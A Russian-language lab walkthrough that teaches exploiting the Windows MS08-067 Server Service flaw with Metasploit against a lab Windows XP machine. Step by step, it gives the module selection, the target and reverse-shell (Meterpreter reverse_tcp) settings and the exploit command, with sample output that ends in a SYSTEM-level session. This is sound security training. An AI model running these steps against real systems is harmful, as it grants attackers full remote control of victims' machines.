Введение
В этой лабораторной работе вы научитесь использовать Metasploit Framework для эксплуатации одной из самых известных уязвимостей Windows — MS08-067. Эта уязвимость существует в службе Server Service (Серверная служба) в системах Windows и может позволить удаленное выполнение кода.
Вы будете использовать Metasploit, мощный инструмент для тестирования на проникновение, чтобы выбрать, настроить и запустить эксплойт против целевой машины Windows XP. К концу этой лабораторной работы вы получите сессию Meterpreter на цели, что даст вам удаленный контроль.
Для этой лабораторной работы среда предварительно настроена с двумя машинами:
- Ваша машина атакующего (эта ВМ Ubuntu) с IP-адресом
192.168.1.100. - Уязвимая целевая машина Windows XP с IP-адресом
192.168.1.101.
Все действия вы будете выполнять из терминала на вашей машине атакующего.
Выбор модуля эксплойта ms08_067_netapi
На этом шаге вы запустите консоль Metasploit и выберете соответствующий модуль эксплойта для уязвимости MS08-067.
Сначала откройте терминал. Все команды будут выполняться здесь. Metasploit Framework поставляется с интерфейсом командной строки под названием msfconsole. Давайте запустим его с флагом -q (quiet), чтобы подавить баннер.
msfconsole -q
После загрузки вы увидите приглашение Metasploit, которое выглядит как msf6 >. Теперь вы можете выполнить поиск модуля эксплойта, связанного с ms08-067.
search ms08-067
Вы увидите список совпадающих модулей. Тот, который нас интересует, это exploit/windows/smb/ms08_067_netapi.
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption
Чтобы использовать этот эксплойт, введите команду use, за которой следует имя модуля.
use exploit/windows/smb/ms08_067_netapi
Ваше приглашение изменится, указывая, что вы теперь находитесь в контексте этого конкретного модуля эксплойта.
msf6 exploit(windows/smb/ms08_067_netapi) >
Установка опции RHOSTS для цели Windows XP
На этом шаге вы настроите модуль эксплойта, установив IP-адрес цели. Большинству эксплойтов необходимо знать, кого атаковать. В Metasploit адрес цели устанавливается с помощью опции RHOSTS (Remote Hosts - Удаленные хосты).
Сначала давайте посмотрим доступные опции для этого эксплойта, используя команду show options.
show options
Вы увидите таблицу настраиваемых опций. Обратите внимание, что RHOSTS является обязательной, но еще не установлена.
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
...
Теперь установим опцию RHOSTS на IP-адрес нашей цели Windows XP, который составляет 192.168.1.101.
set RHOSTS 192.168.1.101
Metasploit подтвердит изменение.
RHOSTS => 192.168.1.101
Теперь вы указали Metasploit, какую машину атаковать.
Выбор reverse TCP payload, такого как windows/meterpreter/reverse_tcp
На этом шаге вы выберете полезную нагрузку (payload), которая будет доставлена на целевую систему после успешного эксплойта. Полезная нагрузка — это код, который будет выполняться на целевой машине. Мы будем использовать Meterpreter, мощную и гибкую полезную нагрузку, предоставляющую интерактивную оболочку.
Полезная нагрузка windows/meterpreter/reverse_tcp заставит скомпрометированную целевую машину подключиться обратно к вам (атакующему). Это часто бывает более успешно в реальных сценариях, когда межсетевые экраны могут блокировать прямые соединения с целью.
Чтобы установить полезную нагрузку, используйте команду set payload.
set payload windows/meterpreter/reverse_tcp
Metasploit подтвердит, что полезная нагрузка установлена.
payload => windows/meterpreter/reverse_tcp
Теперь, когда полезная нагрузка выбрана, вам нужно будет настроить ее параметры на следующем шаге.
Установка опций payload LHOST и LPORT
Теперь, когда вы выбрали reverse payload, вам нужно настроить его для обратного подключения к вашей машине. Для этого требуется установить две основные опции: LHOST и LPORT.
LHOST(Local Host - Локальный хост): Это IP-адрес вашей атакующей машины, к которому должен подключиться payload.LPORT(Local Port - Локальный порт): Это порт на вашей машине, который будет ожидать входящее соединение от цели.
Как упоминалось во введении, IP-адрес вашей атакующей машины — 192.168.1.100. Давайте установим LHOST в это значение.
set LHOST 192.168.1.100
Вы увидите подтверждение:
LHOST => 192.168.1.100
Далее, давайте установим порт прослушивания. Распространенный выбор — 4444.
set LPORT 4444
Снова вы увидите подтверждение:
LPORT => 4444
Вы можете снова выполнить команду show options, чтобы убедиться, что все обязательные опции (RHOSTS, LHOST, LPORT) теперь установлены правильно.
Запуск эксплойта и получение сессии Meterpreter
После настройки всех опций вы готовы к запуску эксплойта. Это последний шаг, на котором вы попытаетесь скомпрометировать целевую систему.
Чтобы запустить атаку, просто используйте команду exploit.
exploit
Metasploit теперь попытается использовать уязвимость. В случае успеха вы увидите вывод, похожий на следующий. Он автоматически определит операционную систему цели, отправит эксплойт, а затем отправит полезную нагрузку.
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.101:445 - Automatically detecting the target...
[*] 192.168.1.101:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.101:445 - Selected Target: Windows XP SP3 English (AlwaysOn)
[*] 192.168.1.101:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:1035) at 2023-10-27 10:30:00 -0400
meterpreter >
Обратите внимание на последнюю строку: Meterpreter session 1 opened. Ваша командная строка изменилась на meterpreter >. Это означает, что вы успешно скомпрометировали цель и имеете активную сессию.
Чтобы проверить свой доступ, выполните команду, например getuid, чтобы увидеть, от имени какого пользователя вы работаете в целевой системе.
getuid
Вывод покажет, что у вас наивысший уровень привилегий.
Server username: NT AUTHORITY\SYSTEM
Поздравляем, вы успешно использовали эксплойт MS08-067!
Резюме
В этой лабораторной работе вы успешно использовали Metasploit Framework для эксплуатации уязвимости MS08-067 на цели с Windows XP.
Вы прошли основной рабочий процесс тестирования на проникновение:
- Выбрали конкретный модуль эксплойта (
exploit/windows/smb/ms08_067_netapi). - Настроили эксплойт, установив адрес цели (
RHOSTS). - Выбрали полезную нагрузку (
windows/meterpreter/reverse_tcp) для получения контроля. - Настроили полезную нагрузку с вашим локальным хостом и портом (
LHOST,LPORT). - Запустили эксплойт и получили сессию Meterpreter с высокими привилегиями на цели.
Это упражнение демонстрирует мощь и простоту использования фреймворка, такого как Metasploit, для тестирования и эксплуатации уязвимостей системы.


